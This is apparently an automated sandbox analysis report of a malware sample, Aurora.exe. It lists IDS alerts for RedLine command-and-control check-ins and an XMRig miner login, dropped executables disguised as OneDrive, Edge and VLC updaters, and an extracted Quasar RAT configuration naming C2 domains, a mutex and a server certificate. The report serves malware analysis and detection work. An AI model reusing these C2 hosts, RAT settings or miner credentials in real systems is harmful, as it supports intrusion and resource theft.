Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:08.090907+0200
SID:	2849662
Source Port:	49756
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:28.035116+0200
SID:	2849662
Source Port:	49760
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:54.861940+0200
SID:	2849662
Source Port:	49751
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:14.137276+0200
SID:	2849662
Source Port:	49737
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:27.789532+0200
SID:	2849662
Source Port:	49746
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:41.579547+0200
SID:	2849662
Source Port:	49749
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:48.234913+0200
SID:	2849662
Source Port:	49750
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:47:01.471138+0200
SID:	2849662
Source Port:	49766
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-26T20:45:19.757640+0200
SID:	2022930
Source Port:	443
Destination Port:	49743
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:34.657862+0200
SID:	2849662
Source Port:	49761
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:21.107001+0200
SID:	2849662
Source Port:	49744
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:07.197859+0200
SID:	2849662
Source Port:	49730
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:45:34.936994+0200
SID:	2849662
Source Port:	49747
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:01.485959+0200
SID:	2849662
Source Port:	49754
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:21.408739+0200
SID:	2849662
Source Port:	49758
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:48.046438+0200
SID:	2849662
Source Port:	49763
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:41.394310+0200
SID:	2849662
Source Port:	49762
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:47:20.170176+0200
SID:	2849662
Source Port:	49767
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.4 - Destination IP: 154.81.220.233

Timestamp:	2024-07-26T20:46:14.752306+0200
SID:	2849662
Source Port:	49757
Destination Port:	28105
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO COINMINER XMR CoinMiner Usage - Source IP: 192.168.2.4 - Destination IP: 51.79.71.77

Timestamp:	2024-07-26T20:44:56.074914+0200
SID:	2826930
Source Port:	49755
Destination Port:	14444
Protocol:	TCP
Classtype:	Crypto Currency Mining Activity Detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-26T20:45:57.548139+0200
SID:	2022930
Source Port:	443
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Aurora.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Msedge.exe	Avira: detection malicious, Label: HEUR/AGEN.1315687
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Avira: detection malicious, Label: HEUR/AGEN.1305500
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Avira: detection malicious, Label: HEUR/AGEN.1315687
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe	Avira: detection malicious, Label: TR/AD.Nekark.apwee
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Avira: detection malicious, Label: TR/AD.Nekark.apwee

Found malware configuration

Source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack

Malware Configuration Extractor: Quasar {"Version": "1.4.1", "Host:Port": "auroraforge.art:55326;thesirenmika.com:55713;", "SubDirectory": "SubDir", "InstallName": "up2.exe", "MutexName": "0cbdfe7f-0215-41e8-a7b5-d4fbbc555089", "StartupKey": "Quasar Client Startup", "Tag": "themdas", "LogDirectoryName": "Logs", "ServerSignature": "PlHMOMtgocXM3HQK38PG08Pjiit+NwEciQu5lPY8tfLnYjCoMZYAx0xtdI+SvG5C0DXq12cXcC0umf/mq9foVZXMNF5Hs2PQTK2JDMn/hRfIF+Jjsb6WM+BVxpI718gj4lZGbCgGkF84rco627EYC7FkvV+GH8BLt9O9hPr4/+rJiNgiCoIYMn0OgCE/sH3sGydQJg57bn9U/mXFlhyIRhtm4gg2lM1G8RQ2XH+1kM20YvujsfPY0iStU8ykEpDnPvo2nlJo9S9+MJkEMt42ESO7Wgwea2ACoL2QuywV5GfCFYmzHmw9IDaqA/y7WyvVIvEg0NoGsezhwo2e6oEJrvYMUde6OTHjwHC8kacIVCvh6+yByGXPCjdQ+H6smKrq+LpoQLVQ20Io+hUnJLLx3faDB+Mrdo/wn43FOeeY6pvde3SMsY1XpENL1JPs8GG3TI0La479nFehiVp1bownoMxD7bv5pz2OTSwC+bmeB/u6k/e0qAPIfFzFMlMKPBLs1ee2ZhtAAu9MNcYtT4iTjxGRo+BdYz4VzLF0YuR7gW/KXvxHfHzIxl5gsQqlHmTKIvmwkZApWd13KsPue7aMCNBNetMgKotbQLGwuPGWkXPtyVe3zbXV84yx9a8EXdQy2rBif3ikTmvhQzPtqeUrXJzqUAZPzqvnfpFUeP+/3c0=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAMFuuJQ2UWVtaIczUNgeazANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTIzMDQwMzA0MDUwOFoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAiClM+MYvRIRZkg0freUTCe0NshHnHXvYh8i2/B6np2DSYc6syzKH/d4kemUxEeD770K+4fsX42DqD05wvk+SmcuwHZ26OYCKSI/rg79364nUGWDwdTjS2LOpVzPfC/rF+aUI5X41YVO/BOt8Kw8yb2j1/uUVNajjm2gM7Wy3DAKG2PUXFGK/xtJsuOfjWVEFEStZGs5EbE5kMuNzxU3UfatoLZCVW866YNZIs9KIwFLYBaxoBScqJVcpRql2nDMOyOZt+wocL9l5buEIyKqT4sdRNUfoAUv6kxgo23l9f/dOMxG4eLYd7rNf6r5l0xRJMaz7emiUnqYyibaBmC2fIv6fuyjPZn9QB4+ujg0OGaWAPnikZXEd1F5jy4jwnBqilo+Kx5UdXg00pqVYBXr+K3AzcMzc02Yqwr3J8Rlfgsu4C6BVbHUY6AXA+8xzbyLK3fvp0M9Dxs8DKw7UpkZ7Bolhy8NE3LRgI7TFHXNjRzM8u5ZiCL8VIUOsDgUFKakEh0MrGEaHZUG3VjUO0xDdA7CG9s8FQ5mYPH2NlORjReWcdoJurPogIffwNkP6nIgltEwBuVufNrMjtUDq3GUNiuhG5GJnDVypRGAOJEeOkug+OMfFmTDhOAWuPsvr+dhak7ue/4FlW2gxA+HRlw200v70/hHbpNv66ypjWg1X9jECAwEAAaMyMDAwHQYDVR0OBBYEFEZ+DMcRz+rZt2AYOssjt4gJDXJOMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAHAGY8cy4TMd3uimwhX4giP4+xh3Nf0FVipqVxteNQTqxP7t2BabEdhmtlh7O/QY0NrQcHZfTQ0N17MnczuHDPsE41keL18jYueJZ+yId43zFc3Rlez8W4nrId2DbbcCRffmYSuwAGvXfcZDOYrTOpXFdU1WeVOazRUYYyrlBUZfOX+lbLHSlho/C7/6ULvYz9LIC1WakGFjLt8Yw5jpWSBPjGpbOUNIZ0JFalvr7iCrrNEtsLEQs5rcoiH73TBGE1QDgTOz/4zp6WRNoRr9Yy5mbC2qB2RbAtMIydKX/3yBZw/gHBGK7bxGmcecLwYVFkLR/BvfcpdVP4Jy5O65oEx01sFfC3TMG+XyGV3CxOvoG4brCW99GDZmUWsVmmbSI+X2caujvstj6psjYeRcGUELmU6dPNxWTNUOeeppRDQfZeA0rEr5pecx4NMCj6nLrhRUlTQ6pXg6vpVt2PS+5xC5qgn839Ic5RehAccmgHat+VqnqlqF9oucwNJVDoOcNey0yAYXMPqM6KZrVsrEGmxljkuqaafi9CJJbSah9K6YMfZdZsPxlNnLmg3CcSNISkL602S3tiWO1/heTAFVK6dx1domDE4Lk6Y7hEqEdDfyokDNExRPfD5ngHpseHXEYQteQywDb5MZZc7XLHM4dgm3cRxnGtWR0H7SjMddMZ5C"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Msedge.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	ReversingLabs: Detection: 52%

Yara detected Quasar RAT

Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.1804400683.000000000466E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1824795418.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.2092621986.0000000002E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1905772220.0000000004EEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2078076863.0000000002C6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2085170193.00000000048DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1798111902.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OneDrive.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 7736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 8124, type: MEMORYSTR

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Aurora.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0000003C.00000002.2918345092.00000273AB26A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-us-east1.nanopool.org

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.4:49755 -> 51.79.71.77:14444 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"43plzcogjlsy4cuttmuws8ha5w6xtsnr5dnegaak71dnkpbdfia2ysqskr5b7zq8qys6crlqbmazl2d3aw1rq6xhrjuymbt","pass":"","agent":"xmrig/6.19.0 (windows nt 10.0; win64; x64) libuv/1.38.0 msvc/2019","rigid":"","algo":["rx/0","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","cn/upx2","cn/gpu","cn/1","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja","ghostrider"]}}.

Source: Aurora.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\Aurora.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Jump to behavior

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdbx source: build.exe, 00000004.00000002.2918227460.0000000000B5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbB) source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdb~- source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbu source: Aurora.exe, 00000000.00000002.1994816261.00000000042E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdb source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: nHC:\Windows\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2916704878.0000000000987000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: Aurora.exe, 00000000.00000002.1956220610.00000000012B4000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbL source: build.exe, 00000004.00000002.2918227460.0000000000B5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: lib.pdb source: Aurora.exe, 00000000.00000002.1994816261.00000000042E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbP> source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: Aurora.exe, 00000000.00000002.1987273449.0000000002061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb. source: Aurora.exe, 00000000.00000002.1986631416.0000000001EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\Aurora.PDB0 source: Aurora.exe, 00000000.00000002.1987273449.0000000002089000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb693405117-2476756634-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32 source: build.exe, 00000004.00000002.2918227460.0000000000B82000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\dll\mscorlib.pdb source: Aurora.exe, 00000000.00000002.1994816261.00000000042E6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B98000.00000004.00000020.00020000.00000000.sdmp, build.exe, 00000004.00000002.2918227460.0000000000B27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: build.exe, 00000004.00000002.2918227460.0000000000B5F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbService source: build.exe, 00000004.00000002.2916704878.0000000000987000.00000004.00000010.00020000.00000000.sdmp

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: auroraforge.art

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 154.81.220.233 ports 28105,0,1,2,5,8

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 28105
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 28105

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping localhost -n 1

Yara detected Generic Downloader

Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 154.81.220.233:28105
Source: global traffic	TCP traffic: 192.168.2.4:49748 -> 123.123.123.123:55713
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 51.79.71.77:14444

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 154.81.220.233:28105Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: MULTA-ASN1US MULTA-ASN1US
Source: Joe Sandbox View	ASN Name: CHINA169-BJChinaUnicomBeijingProvinceNetworkCN CHINA169-BJChinaUnicomBeijingProvinceNetworkCN
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR

Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
Source: unknown	TCP traffic detected without corresponding DNS query: 154.81.220.233
